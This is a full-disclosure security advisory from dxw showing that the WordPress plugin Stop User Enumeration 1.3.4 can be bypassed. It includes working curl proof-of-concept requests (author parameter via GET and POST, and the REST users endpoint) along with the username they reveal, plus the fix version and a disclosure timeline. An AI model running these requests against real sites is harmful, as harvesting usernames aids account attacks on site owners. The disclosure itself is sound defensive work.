full-disclosure - [FD] Stop User Enumeration does not stop user enumeration (WordPress plugin)

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Message-ID: <c877611dd04d3a288bf661b4307ae039@security.dxw.com>
Date: Wed, 4 Jan 2017 13:24:13 +0000
From: dxw Security <security@....com>
To: fulldisclosure@...lists.org
Subject: [FD] Stop User Enumeration does not stop user enumeration
	(WordPress plugin)

Details
================
Software: Stop User Enumeration
Version: 1.3.4
Homepage: https://wordpress.org/plugins/stop-user-enumeration/
Advisory report: https://security.dxw.com/advisories/stop-user-enumeration-does-not-stop-user-enumeration/
CVE: Awaiting assignment
CVSS: 5 (Medium; AV:N/AC:L/Au:N/C:P/I:N/A:N)

Description
================
Stop User Enumeration does not stop user enumeration

Vulnerability
================
Traditionally user enumeration of a WordPress site is done by making a series of requests to /?author=1 /?author=2 /?author=3 and so on (a similar effect can be achieved using POST requests too). WordPress 4.7 introduced a REST API endpoint to list all users.
This plugin attempts to prevent requests with an author parameter (but fails), and makes no attempt at preventing requests to the REST API.

Proof of concept
================
There are three ways to bypass this plugin’s protections.
A GET request:
$ curl -i -s \'http://localhost/?wp-comments-post&author=1\'
HTTP/1.1 301 Moved Permanently
Date: Fri, 23 Dec 2016 15:38:02 GMT
Server: Apache/2.4.10 (Debian)
X-Powered-By: PHP/7.0.13
Location: http://localhost/author/tomdxw/?wp-comments-post
Content-Length: 0
Content-Type: text/html; charset=UTF-8
A POST request:
$ curl -s http://localhost/?wp-comments-post -d author=1 | grep \'<title\'
	<title>tomdxw – WP Test</title>
The REST API (new in WordPress 4.7):
$ curl -s http://localhost/wp-json/wp/v2/users
[{\"id\":1,\"name\":\"tomdxw\",\"url\":\"\",\"description\":\"\",\"link\":\"http:\\/\\/localhost\\/author\\/tomdxw\\/\",\"slug\":\"tomdxw\",\"avatar_urls\":{\"24\":\"http:\\/\\/2.gravatar.com\\/avatar\\/2b5450324939bb3d1352f377950c5503?s=24&d=mm&r=g\",\"48\":\"http:\\/\\/2.gravatar.com\\/avatar\\/2b5450324939bb3d1352f377950c5503?s=48&d=mm&r=g\",\"96\":\"http:\\/\\/2.gravatar.com\\/avatar\\/2b5450324939bb3d1352f377950c5503?s=96&d=mm&r=g\"},\"meta\":[],\"_links\":{\"self\":[{\"href\":\"http:\\/\\/localhost\\/wp-json\\/wp\\/v2\\/users\\/1\"}],\"collection\":[{\"href\":\"http:\\/\\/localhost\\/wp-json\\/wp\\/v2\\/users\"}]}}]

Mitigations
================
Upgrade to version 1.3.5 or later.

Disclosure policy
================
dxw believes in responsible disclosure. Your attention is drawn to our disclosure policy: https://security.dxw.com/disclosure/

Please contact us on security@....com to acknowledge this report if you received it via a third party (for example, plugins@...dpress.org) as they generally cannot communicate with us on your behalf.

This vulnerability will be published if we do not receive a response to this report with 14 days.

Timeline
================

2016-12-23: Discovered
2016-12-23: Reported to vendor via info@...lworks.net
2016-12-23: Requested CVE
2016-12-23: Vendor first replied
2017-01-03: Vendor reported issue fixed in version 1.3.5
2017-01-04: Advisory published

Discovered by dxw:
================
Tom Adams
Please visit security.dxw.com for more information.

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